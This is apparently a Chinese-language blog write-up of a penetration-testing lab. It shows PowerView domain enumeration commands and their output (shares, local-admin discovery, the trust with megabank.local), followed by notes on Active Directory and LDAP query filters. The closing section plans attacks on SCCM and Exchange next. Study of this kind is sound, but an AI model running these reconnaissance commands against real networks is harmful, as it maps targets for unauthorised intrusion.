SMS_SUIAgent                   0 SMS Software Update Installation Agent -- 01/06/20              sccm.GiganticHosting.local
ADMIN$                2147483648 Remote Admin                                                    servicedesk.GiganticHosting.local
C$                    2147483648 Default share                                                   servicedesk.GiganticHosting.local
IPC$                  2147483651 Remote IPC                                                      servicedesk.GiganticHosting.local

成功列出当前域内共享(GiganticHosting.local

你运行的 Invoke-ShareFinder 成功列出了以下域内主机及共享资源:

  • 域控主机 dc.GiganticHosting.local

  • SCCM 主机 sccm.GiganticHosting.local

  • 服务台主机 servicedesk.GiganticHosting.local

说明:

  • 已经处于 GiganticHosting.local 域中(或至少具备访问权限)

  • PowerView 可以通过 NetSessionEnumNetShareEnum 枚举出本域的共享资源

  • 查找当前用户拥有本地管理员权限的机器:

Find-LocalAdminAccess

6.6.6 域信任功能实践

  • 枚举域信任:

Get-NetDomainTrust
  • 映射所有信任关系:

PS C:\programdata\apps> Invoke-MapDomainTrust

SourceName      : GiganticHosting.local
TargetName      : megabank.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Inbound
WhenCreated     : 1/27/2020 5:01:57 PM
WhenChanged     : 7/31/2025 5:03:25 PM
  • 当前域 GiganticHosting.local 信任 megabank.local

  • 这是一个 单向信任(inbound):

    • 表示 megabank 的用户可以访问 GiganticHosting

    • 反过来不行:GiganticHosting 域的用户 无法直接访问 megabank.local

7 Active Directory 与 LDAP 核心概念

7.1 Active Directory 结构

  • 层次化结构: AD以 森林 (Forest) -> 域 (Domain) -> 组织单位 (OU) 的层次化树状结构排列。

    • 森林 (Forest): 一个或多个域的集合,是AD的最高层级和安全边界。

    • 域 (Domain): 包含用户、计算机、组等对象的管理单元。

    • 组织单位 (OU): 域内用于组织对象的容器,是应用组策略(GPO)的最小单位,便于委派管理。

7.2 LDAP 协议概述与交互

  • 定义: 轻量级目录访问协议 (LDAP) 是Active Directory的核心通信协议,用于查询和修改目录服务中的信息。AD与LDAP的关系可以通俗地理解为Web服务器(Apache)与通信协议(HTTP)的关系。

  • 认证 (Bind): LDAP会话通过“绑定(BIND)”操作进行认证,主要支持两种方式:

    • 简单认证: 直接使用明文用户名和密码,不安全。

    • SASL认证: 结合其他认证服务(如Kerberos)进行绑定,是更安全的方式。

  • 匿名绑定: 如果域控配置不当,可能允许匿名绑定,使未经身份验证的攻击者能够查询大量域信息,是严重的安全风险。

  • 查询: 使用标准的LDAP查询语法与目录服务通信以请求信息,例如(objectCategory=computer)用于查询所有计算机对象。

7.3 AD 搜索过滤器详解

  • 在PowerShell AD模块中,主要使用两种过滤器语法:

  • PowerShell过滤器 (-Filter)

    • 语法更接近自然语言,易于编写和阅读,例如 "name -eq 'sally jones'"

    • 使用 -like 操作符和通配符 * 进行模糊匹配。

  • LDAP过滤器 (-LDAPFilter)

    • 采用严格的LDAP语法 (RFC 4515),通用性更强。

    • 语法: 采用波兰表示法,逻辑运算符(&=AND, |=OR, !=NOT)前置,并用括号包裹。例如 (&(objectClass=user)(displayName=Smith))

    • 匹配规则OID: 可以使用特殊的OID进行高级匹配,其中最常用的是:

      • 1.2.840.113556.1.4.803: 按位与 (BIT_AND),常用于精确匹配userAccountControl这类复合标志位属性。

      • 1.2.840.113556.1.4.1941: 链式匹配 (Recursive Match),用于递归查询,最典型的应用是查找用户所属的所有嵌套组。

  • SearchBaseSearchScope:

    • SearchBase: 指定搜索的起始OU,用于缩小搜索范围,提高效率。

    • SearchScope: 定义搜索深度,可选Base(仅自身)、OneLevel(下一级)、Subtree(所有子级)。

8 总结与后续展望

  • 核心成果: 掌握了从一个不稳定的初始立足点,通过组合策略,建立稳定、持久化、高权限访问通道的全过程。并利用该通道,综合运用多种主被动探测技术,对一个复杂的多域环境进行了全面的信息收集,成功绘制了战场地图。

  • 后续任务: 下一步将利用本周枚举到的详尽信息,对新发现的megabank.local域和SCCM、Exchange等高价值服务,展开针对性的攻击。

  • 学习心态:

    • 不要依赖自动化: 手动枚举是理解域环境复杂性的核心方法。

    • 不要畏惧工具: 采用结构化、探索式的方法去学习,而不是死记硬背。

    • 动手实践: 只有通过大量的上手操作,才能将理论知识转化为真正的实战能力。

-.-

0

评论区